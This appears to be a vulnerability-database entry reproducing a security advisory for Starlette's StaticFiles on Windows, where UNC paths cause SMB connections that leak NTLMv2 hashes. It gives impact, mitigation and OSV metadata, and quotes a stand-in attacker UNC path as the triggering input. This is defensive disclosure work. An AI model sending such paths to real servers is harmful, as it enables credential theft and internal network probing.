Applications running on Windows that serve files with StaticFiles (directly, or via a framework built on Starlette such as FastAPI) in the default configuration are affected. StaticFiles is typically unauthenticated, so any client can trigger the SMB connection and leak the service account's NTLMv2 hash. A secondary impact is discovering internal hosts reachable over SMB by timing responses for valid versus invalid addresses.
Mitigation
Applications not running on Windows are not affected. On Windows, serving static files through a dedicated web server (such as nginx or IIS) instead of StaticFiles avoids the issue. Blocking outbound SMB (port 445) from the application host prevents the credential disclosure even if a UNC path is resolved.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "starlette"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-48818"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T20:16:30Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nWhen serving static files on Windows, `StaticFiles` resolves the requested path with [`os.path.realpath`](https://docs.python.org/3/library/os.path.html#os.path.realpath). If a UNC path (such as `\\\\attacker.com\\share`) reaches the resolver, `realpath` causes the process to open a connection to the remote host over SMB (port 445). This is a server-side request forgery (SSRF) that leaks the service account\u0027s NTLMv2 credentials to the attacker-controlled host, which can then be cracked offline or relayed to other hosts.\n\n### Details\n\n`StaticFiles.lookup_path()` joins the requested path onto the served directory and calls [`os.path.realpath`](https://docs.python.org/3/library/os.path.html#os.path.realpath) on the result before checking containment with [`os.path.commonpath`](https://docs.python.org/3/library/os.path.html#os.path.commonpath). On Windows, a UNC path is absolute, so [`os.path.join`](https://docs.python.org/3/library/os.path.html#os.path.join) discards the served directory and `realpath` resolves the bare UNC path, triggering the outbound SMB connection and NTLM authentication before the containment check rejects the path. The HTTP response is a benign 404, but the credential disclosure has already happened. POSIX systems are not affected.\n\nThis only affects the default configuration (`follow_symlink=False`), which uses [`os.path.realpath`](https://docs.python.org/3/library/os.path.html#os.path.realpath). The `follow_symlink=True` branch uses [`os.path.abspath`](https://docs.python.org/3/library/os.path.html#os.path.abspath), which performs no I/O.\n\n### Impact\n\nApplications running on Windows that serve files with `StaticFiles` (directly, or via a framework built on Starlette such as FastAPI) in the default configuration are affected. `StaticFiles` is typically unauthenticated, so any client can trigger the SMB connection and leak the service account\u0027s NTLMv2 hash. A secondary impact is discovering internal hosts reachable over SMB by timing responses for valid versus invalid addresses.\n\n### Mitigation\n\nApplications not running on Windows are not affected. On Windows, serving static files through a dedicated web server (such as nginx or IIS) instead of `StaticFiles` avoids the issue. Blocking outbound SMB (port 445) from the application host prevents the credential disclosure even if a UNC path is resolved.",
"id": "GHSA-wqp7-x3pw-xc5r",
"modified": "2026-06-15T20:16:30Z",
"published": "2026-06-15T20:16:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Kludex/starlette/security/advisories/GHSA-wqp7-x3pw-xc5r"
},
{
"type": "PACKAGE",
"url": "https://github.com/Kludex/starlette"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Starlette: SSRF and NTLM credential theft via UNC paths in StaticFiles on Windows"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.